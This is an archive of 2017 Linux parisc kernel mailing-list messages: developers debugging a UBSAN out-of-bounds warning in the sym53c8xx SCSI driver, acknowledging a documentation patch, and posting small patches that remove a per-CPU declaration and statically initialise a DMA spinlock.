        id S1751965AbdHDWMV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 18:12:21 -0400
Original-Received: from [192.168.20.60] ([193.159.17.37]) by mail.gmx.com (mrgmx001
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M1nbu-1dOi5K0Mxe-00tm96; Sat, 05
 Aug 2017 00:12:16 +0200
Content-Language: en-US
X-Provags-ID: V03:K0:8U9ctIyiaxf72MJP136fgZrJmZXYGSwSKmuogiKWOzMDu0W7Nj7
 mfTiyf3R1SkbhY4ovf+IfUSsk7G2G4qd0B2cUkExKtw7vHeP4NUUd29btiPZjHoHnCpVzbA
 JCpZfqAcESSghZokAnzcLBu2OU4fl7JBUtl3Zqq/28Y9tDxcuSM1tiLinSIIHl3Y8AB8kiY
 67v2uhag06E+Qvl0AaAyA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:K/no6WSRvi0=:v234FwisWooG3WK6Lfqvjy
 9EgDeS/46ZUQwt6TnrssGQD/ZHUyhAnBmywuguYFO5MRL9nzYfcz6PHTvCvEFC6XTa0rHIJON
 bp8rkN/QuukIuk4MZ3HMousjLZAuYiGLF+Ym51qD0hxtGabXVJJRVoWZ8VFLv+37u3EndlZaH
 Me4p/cL/Yos/3ECvkeeKg7u2NxrE26EnK4MoMkTbNBYMNC3YkjamrpzN3cR617i6ub58XT7YI
 c0KgjP7EwBKlUFb7e8/Gy86+wKT1ahdPuiVPxXGyGn0M0uDetSg+I44/GdiXnrAmUCqR+OQT1
 xZASEeWP16Y6S2wuuB2gIJv1NB5HIARQNg8d29WoUYwiJM9eWo8AM1PORbxBAOeJq117nIT0t
 sIoqQLqO/mtX5PDoHn0g/Skr/scvrVIjVCwclnMlBSZ9y+FvXzBhsKCzJ2a3xwDkF05JKFWoA
 m9pXRRIeAg3ptvupwo/fCejGxjpGxo+0AXg5Ky5L1TJOTJ/EAIjkgkOIZpSUei8PYaG2rivvS
 CzbkGvc3WzSoP87ptgTdJlhRHWaS59+yMCr7lAHQQx7VixyCrhA7tDfsVjfvnI9FC1HjFZU7/
 1rXWnLTJuQgjXW9xwsP3lvJdxlmdn0c6cfDkwmwCeljrcbZEnEwObRau7NkF2rLf9HjKOsl8K
 /T6ywq38GUqNTfszgYTrGqwxfZCoNVKG1FhKtPSq9Vb/YDB/xZpBVbhIxxzxz0+1wWpcFtuNr
 kd/MFlps6IAYIICp2GG2aJ53hqO3n+9Rt5ZrvaUzwZi+q0E/OhonTQaBy7UScVTlT4EhCLRV 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27630 gmane.linux.scsi:128642
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27630>

On the parisc platform I noticed the UBSAN warning below.
Maybe nr_divisor isn't correctly initialized ?
Helge

[   18.555455] sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
[   18.625415] ================================================================================
[   18.726489] UBSAN: Undefined behaviour in ./drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
[   18.864911] index -1903078336 is out of range for type 'u32 [7]'
[   18.936779] CPU: 0 PID: 1 Comm: swapper Not tainted 4.13.0-rc3-32bit+ #427
[   19.019138] Backtrace:
[   19.047353]  [<10191eb4>] show_stack+0x3c/0x50
[   19.100577]  [<10ce82fc>] dump_stack+0x28/0x38
[   19.153826]  [<10771b3c>] ubsan_epilogue+0x1c/0x60
[   19.211229]  [<107722ec>] __ubsan_handle_out_of_bounds+0x68/0x80
[   19.283194]  [<10924074>] sym_hcb_attach+0xc2c/0x3204
[   19.343724]  [<107aaa38>] sba_dma_supported+0x4c/0x208
[   19.405291]  [<10911984>] sym2_probe+0xd64/0x122c
[   19.461661]  [<10501c64>] kernfs_add_one+0x328/0x354
[   19.521134] 
[   19.538916] ================================================================================
[   19.640086] sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
[   19.725169] sym0: SCSI BUS has been reset.
[   19.774192] sym0: SCSI BUS mode change from SE to SE.
[   19.837034] sym0: SCSI BUS has been reset.
[   19.886092] scsi host0: sym-2.2.3
[   25.154088] sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 68
[   25.222639] sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[   25.308775] sym1: SCSI BUS has been reset.
[   25.357840] scsi host1: sym-2.2.3
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: Undefined behaviour in drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
Date: Fri, 4 Aug 2017 19:10:33 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <8DE445AF-68F0-4F1C-94B3-5FE7D4C8E6C9@bell.net>
References: <d030f03a-0ccf-324b-32d6-002dfb408c16@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1501888245 22719 195.159.176.226 (4 Aug 2017 23:10:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 4 Aug 2017 23:10:45 +0000 (UTC)
Cc: Linux SCSI List <linux-scsi@vger.kernel.org>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
        linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 05 01:10:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ddlji-0005Cp-8F
	for glpp-linux-parisc@m.gmane.org; Sat, 05 Aug 2017 01:10:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752227AbdHDXKg convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 4 Aug 2017 19:10:36 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:44315 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752202AbdHDXKf (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 4 Aug 2017 19:10:35 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170804231033.XDGI14026.torfep01.bell.net@torspm02.bell.net>;
          Fri, 4 Aug 2017 19:10:33 -0400
Original-Received: from [192.168.2.25] (really [184.144.120.32])
          by torspm02.bell.net with ESMTP
          id <20170804231033.XZZ3378.torspm02.bell.net@[192.168.2.25]>;
          Fri, 4 Aug 2017 19:10:33 -0400
In-Reply-To: <d030f03a-0ccf-324b-32d6-002dfb408c16@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=ActeJzfG c=1 sm=0 tr=0 a=pB3QksNGH1A98MjHNgJOQg==:17 a=kj9zAlcOel0A:10 a=KeKAF7QvOSUA:10 a=FBHGMhGWAAAA:8 a=qm5GKuZOiW6KeL-3qZMA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27631 gmane.linux.scsi:128644
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27631>

On 2017-08-04, at 6:12 PM, Helge Deller wrote:

> On the parisc platform I noticed the UBSAN warning below.
> Maybe nr_divisor isn't correctly initialized ?
> Helge
> 
> [   18.555455] sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
> [   18.625415] ================================================================================
> [   18.726489] UBSAN: Undefined behaviour in ./drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
> [   18.864911] index -1903078336 is out of range for type 'u32 [7]'

What about np->clock_divn?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jonathan Corbet <corbet@lwn.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.documentation
Subject: Re: [PATCH] docs/features: parisc implements tracehook
Date: Mon, 7 Aug 2017 14:18:30 -0600
Organization: LWN.net
Lines: 15
Approved: news@gmane.org
Message-ID: <20170807141830.186ec4f3@lwn.net>
References: <20170804102839.23737-1-james.hogan@imgtec.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1502137122 14738 195.159.176.226 (7 Aug 2017 20:18:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 Aug 2017 20:18:42 +0000 (UTC)
Cc: "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@kernel.org>,
        <linux-parisc@vger.kernel.org>, <linux-doc@vger.kernel.org>
To: James Hogan <james.hogan@imgtec.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 07 22:18:28 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1deoTq-0002lm-8d
	for glpp-linux-parisc@m.gmane.org; Mon, 07 Aug 2017 22:18:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751996AbdHGUSc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 7 Aug 2017 16:18:32 -0400
Original-Received: from ms.lwn.net ([45.79.88.28]:60796 "EHLO ms.lwn.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751761AbdHGUSc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 7 Aug 2017 16:18:32 -0400
Original-Received: from lwn.net (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ms.lwn.net (Postfix) with ESMTPSA id 5A1D32E3;
        Mon,  7 Aug 2017 20:18:31 +0000 (UTC)
In-Reply-To: <20170804102839.23737-1-james.hogan@imgtec.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27632 gmane.linux.documentation:49801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27632>

On Fri, 4 Aug 2017 11:28:39 +0100
James Hogan <james.hogan@imgtec.com> wrote:

> Since commit 64e2a42bca12 ("parisc: Add ARCH_TRACEHOOK and regset
> support") in v4.7, parisc selects HAVE_ARCH_TRACEHOOK, so update its
> entry in Documentation/features from TODO to ok.

Applied to the docs tree, thanks.

jon
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop exception_data struct
Date: Mon, 7 Aug 2017 23:26:45 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20170807212645.GA4867@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502141228 22673 195.159.176.226 (7 Aug 2017 21:27:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 Aug 2017 21:27:08 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 07 23:26:54 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1depY0-0007CS-CA
	for glpp-linux-parisc@m.gmane.org; Mon, 07 Aug 2017 23:26:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752010AbdHGV0y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 7 Aug 2017 17:26:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52208 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751662AbdHGV0y (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 7 Aug 2017 17:26:54 -0400
Original-Received: from p100.box ([193.159.19.71]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MaIPo-1du9Vf0kVE-00JpCw; Mon, 07
 Aug 2017 23:26:47 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:awM3YV350UH5uigBLWLpBbn/TsGoVDudpVY/VMawVS1ZO+i8e5Q
 jJms6tQVj7NdJ4nQBY025wMuGUZWXc5CznYD9NFDwYntJIUqReHtVJcuo18i26mfUwURXyz
 U0W1CDoUipf/Ji8lMm+uqotqbzjzRQyHLIk9hmkbU189K8UTjkCeaE9b0ieevKVOSjn+0HM
 Qo/mFZu1saKxhjIappBbw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ixujTDSxBJk=:B/hrtmcuYNKnU1abKP7mPV
 W4tpngA2Ghfp+pFokjuBtQ8xfPk7v8u0YpVDngaeuo/MDbpI4zlyFW21S3afW91rZuUr3EoFr
 yBNPxBLSyBTbtza1zRCxQQoWQcMKjqoM3+/pvGyWngHGJ6ZKjtUkSUEqqksMBbvaneaJVJr5I
 lw2D0JLyU39i4yJJu4iLpi25F6VbXbK4pNXPjx/gBnQbRi2fB8LwVHtd6EedTRWXucbgzkPct
 4EYqVOrDxL3IdjkZvwdaqWsX5gzYNbGv7WryXwFSxEdmTRsVphE2UPMWvyz4V/dmcRBxKe9CY
 A39/CCkN6jc7l4qGqLxgLM2Xai44y90h4VY14Sggcsd4UtGHf50ikM5aOJphCwxWpZRo7/Lxp
 fNEFmmsMt02YfI4joHf95bntJgH4S2uy/aFCwHVh+jAtEsjZdjUI/F5OBJQcXfOXCSz5HA0et
 52vbp4Bm+y3omGBSHgkzk0+HAlno0JDXKj/EAbjm2iEthaBT3p03ICyGHcYge1FN9l979OZhY
 YmuULSUMZv9sYH9I3lcTlpC5Fy8e68dhjCx2DDfbohrW767lPFKMOZAoLnO3xuvLM4FWxNT6m
 y0Uwk3l30a24KblBNxb40i/QBuq0wcSFqiZFXsSNPKR9Rx7Uvt2KfWzYpCzUYBytbVv3eQRNM
 IPa4vm2xH/2Q8sv3NXZlC8C29bMiCvfRnReECWo00JPfGfmABle0/j/jLEoorfi2ECtsAzxKQ
 55oCkpuThHf7ccMGSlNIi1cKNtdR1nffZZwb+aGmWIu/0FgA6s+uY9lzm2SZBJDGhtK5WPH8 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27633
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27633>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index 99115cd..865a7f7 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -27,8 +27,6 @@
 #include <linux/compiler.h>
 #include <linux/uaccess.h>
 
-DECLARE_PER_CPU(struct exception_data, exception_data);

From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Static initialization of pcxl_res_lock spinlock
Date: Mon, 7 Aug 2017 23:28:39 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20170807212839.GA4891@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1502141337 8511 195.159.176.226 (7 Aug 2017 21:28:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 Aug 2017 21:28:57 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 07 23:28:43 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1depZq-0000FH-ML
	for glpp-linux-parisc@m.gmane.org; Mon, 07 Aug 2017 23:28:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751881AbdHGV2t (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 7 Aug 2017 17:28:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:57970 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751662AbdHGV2s (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 7 Aug 2017 17:28:48 -0400
Original-Received: from p100.box ([193.159.19.71]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8MyE-1dRxKV2sOw-00vwpn; Mon, 07
 Aug 2017 23:28:41 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:rX/Sa3hIcvYk78EB3vhjNKb/0A0EzuwWMbH4HxCvrphFdZtG+HA
 4F6hRmMGZ0ZRPHg/qO7QlT5Euo67ExFoO7tz0uY5ItmaqTvcDGgIs5a0iSDxa2KvJk72ZUj
 TmpLgI+RSuNnF6KNxoUUjkjEW5mZDfChjxd1ujtIWguu7pSOsJSHupueZ2Ze0VV3mPTK2ZW
 YTk8ktcS2uYtJH2bGsyDw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:KLOxPzoU6TA=:sAmTn7RLI1fPLamBqIYgnQ
 iVv9GTgTlfn+iY7BHEwYji/bIDcdqjo8AQ5ufrdgUHt0NJVcLo3+xvCegxsgLCh4AHs4SVZl3
 Q1uO5TmfnDZ5wrB2dV2jOw94x1QQn6NZxTPaB6KdF4yruNGtiI0U0E2KqKkvLLFKQb/09Jzje
 h/rjlnlTxLwh3oJOjvCfzVj0b+CLl2rNqZE9FtsDBwxMTSzxIq/mhCRl56bw4MZtC1SMmN08s
 ilG0e5l4l/uIhTr5Dpb4xCSIrFE+rkg0jH6vWwCxw+ON05r56Th3arZa5Pu5FeFHPFyPxgDG/
 f/DZzIYgRx8+jfkQG8dY2e2v5aWmfVSe3ZRyb9To8sXd6dPSOorbyuEW6kOaEjuG+OKh9BBcj
 75tR5ybDQKu2p6ozkk0MQkX9TBuFRFdR2KWdc55yx5i+/4ofB4xXg7tt+hHXL9rmlS46kJwY5
 XYfDH/kCDkoqVRcFG99JtXlFuo2QNfdK+D/DergZnctoyJ6JqSBo+OLf/tJ9cuaR25n5w5PfI
 G3PUdvZD7YGGsdoLgsf3OfeH8hSxqJ+vQMcfjKcuCsn7UGH+kUixOvG3OoY2f9mu/RZIvTWsE
 q+1Hr96i3zFnl4RtKC/gXy1xnVF2MvnfMkB1BtsjK3tZdSMnOz+WzWqhz0Z5n4/uHAsqeP8k4
 t1XhIb7Gbt1e32J0ES38UFsaAbFWcbhv0N4z+ZHPrfDDOy3iYNbg8BWfowHYzBLTc1wsJnWGL
 d1WhU2uZVdLrLsBETDZk8mG+bVqX3f1cw4noV8QKdSotrqmYbkcQ0WPAI3M+ImZi49TyYoD4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27634
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27634>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 5f0067a..bd4c0a7 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -41,7 +41,7 @@ static unsigned long pcxl_used_bytes __read_mostly = 0;
 static unsigned long pcxl_used_pages __read_mostly = 0;
 
 extern unsigned long pcxl_dma_start; /* Start of pcxl dma mapping area */
-static spinlock_t   pcxl_res_lock;
+static DEFINE_SPINLOCK(pcxl_res_lock);
 static char    *pcxl_res_map;
 static int     pcxl_res_hint;
 static int     pcxl_res_size;
@@ -390,7 +390,6 @@ pcxl_dma_init(void)
 	if (pcxl_dma_start == 0)
 		return 0;
 
-	spin_lock_init(&pcxl_res_lock);
 	pcxl_res_size = PCXL_DMA_MAP_SIZE >> (PAGE_SHIFT + 3);
 	pcxl_res_hint = 0;
 	pcxl_res_map = (char *)__get_free_pages(GFP_KERNEL,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: Undefined behaviour in drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
Date: Tue, 8 Aug 2017 00:20:21 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <bf3cee29-26cb-6e4c-9ef2-a84459d41dec@gmx.de>
References: <d030f03a-0ccf-324b-32d6-002dfb408c16@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1502144439 14644 195.159.176.226 (7 Aug 2017 22:20:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 7 Aug 2017 22:20:39 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
To: Linux SCSI List <linux-scsi@vger.kernel.org>,
        "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
        linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 08 00:20:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1deqNp-000520-Nd
	for glpp-linux-parisc@m.gmane.org; Tue, 08 Aug 2017 00:20:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751826AbdHGWU2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 7 Aug 2017 18:20:28 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58720 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751743AbdHGWU1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 7 Aug 2017 18:20:27 -0400
Original-Received: from [192.168.20.60] ([193.159.19.71]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LoVOE-1d8HWe2X4k-00gVSD; Tue, 08
 Aug 2017 00:20:22 +0200
In-Reply-To: <d030f03a-0ccf-324b-32d6-002dfb408c16@gmx.de>
Content-Language: en-US
X-Provags-ID: V03:K0:nkrWUUqiQRgl+fPXsM8HiwkMmDKWU0Pj+wBeVrnHxwfBCfR4cvv
 P9p6dC3PNloPzAqtaHKkrz3337icA0yHDcEQ/5Imh/sfj6giWDorQMKMC9D5HTHKFagG9VC
 e/gyzbVLpypYd+SZqA3hIcGTDJT2oPSK7ibsOWuYYpW+4S1Y3zKytbK+yHRFh89b0FfrORp
 zQ+DkOsMauCaqqSNyws8A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pdxaHEXJGH4=:DZxKP5V3CB4I+vAdI/Er4T
 5XGJn9MPNGmtQG7lmTZxnTfAtMu3eIf5hswJ2wLFMpRqxJcQxLfdrfap6VF7om/N6SycBswFO
 x+ZFfFSkJCW+Z09A2MY6TKC9HGUOxkAp8aGiILG+V82Xc3Pq6N/qoAmzHp+H7LHu8oOhCVvsx
 HZGHSqUtWc9p/lI2sB+trbE1uWPDym/okDG/q4zMbsBVn9o1LgoY70zZL++hj3y9iezh27nLs
 zSaialWRjYM96pgq3TeUzKjCH2QtMtPqEWfuWmljAUETBcg0n6iDEVgCzGkcK2NtPmiTV4VFM
 7yolRq5kaZzxakylvCZ0m26KyHcMxhfcdWErd3+kT2Q1KE0li+3gyPZKVn8Ut7CRaNblKcujR
 eqWmyrx0YYVFcfhNBMpaNEp/pLPVMwFgB/eFQgOCVawC/6bp/dEHkzJF9V44CALi/NrhrXf7x
 6CkDA3CxxUXCVPP8k9OHH69No3XpQ5TbmJY5Nbjji09sc5rNhi+gnE+cgEADgdNp7wqYYywOQ
 oxIFyIwwPFQR89lEGs0ynovEsfFiUOIe7bdeHrL/Ec8qH9QwdWd/5nzhSPFQVKFA9pLGl3DeV
 OX2zgzE0jMaxwrLdOoXsmRqri3N3N2BKHUFORgZ8LgYuxgYq+oTUioKw78T15nAehirLMaIta
 /T0xhVptm9xG+iLksDmDgfhDJ4eSFtq0bY2E4fhzA61yV+OxT9Hvp/JR4Q0ylgq5sV38ObQn1
 2HFkKueA0I97SZOyf2+3g5nKXKJJ5bnNgbAxPYK9b6jwXWKepB1T5BLyiVjps8Yyqnoi2nSW 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27635 gmane.linux.scsi:128757
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27635>

On 05.08.2017 00:12, Helge Deller wrote:
> On the parisc platform I noticed the UBSAN warning below.
> Maybe nr_divisor isn't correctly initialized ?
> 
> [   18.625415] ================================================================================
> [   18.726489] UBSAN: Undefined behaviour in ./drivers/scsi/sym53c8xx_2/sym_hipd.c:762:24
> [   18.864911] index -1903078336 is out of range for type 'u32 [7]'
> [   18.936779] CPU: 0 PID: 1 Comm: swapper Not tainted 4.13.0-rc3-32bit+ #427
> [   19.019138] Backtrace:
> [   19.047353]  [<10191eb4>] show_stack+0x3c/0x50
> [   19.100577]  [<10ce82fc>] dump_stack+0x28/0x38
> [   19.153826]  [<10771b3c>] ubsan_epilogue+0x1c/0x60
> [   19.211229]  [<107722ec>] __ubsan_handle_out_of_bounds+0x68/0x80
> [   19.283194]  [<10924074>] sym_hcb_attach+0xc2c/0x3204
> [   19.343724]  [<107aaa38>] sba_dma_supported+0x4c/0x208
> [   19.405291]  [<10911984>] sym2_probe+0xd64/0x122c
> [   19.461661]  [<10501c64>] kernfs_add_one+0x328/0x354

I did some more debugging.

The offending line is:
	period = (11 * div_10M[np->clock_divn - 1]) / (4 * np->clock_khz);
with those values
	np->clock_divn = 7
	np->clock_khz  = 160000
	div_10M[6] = 80000000
period gets calculated as: 
	period = 1375
which is correct.

I have no clue why UBSAN reports an error here.
There is no overflow in index for div_10M array, neither is there
a u32 overflow.
Ideas?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
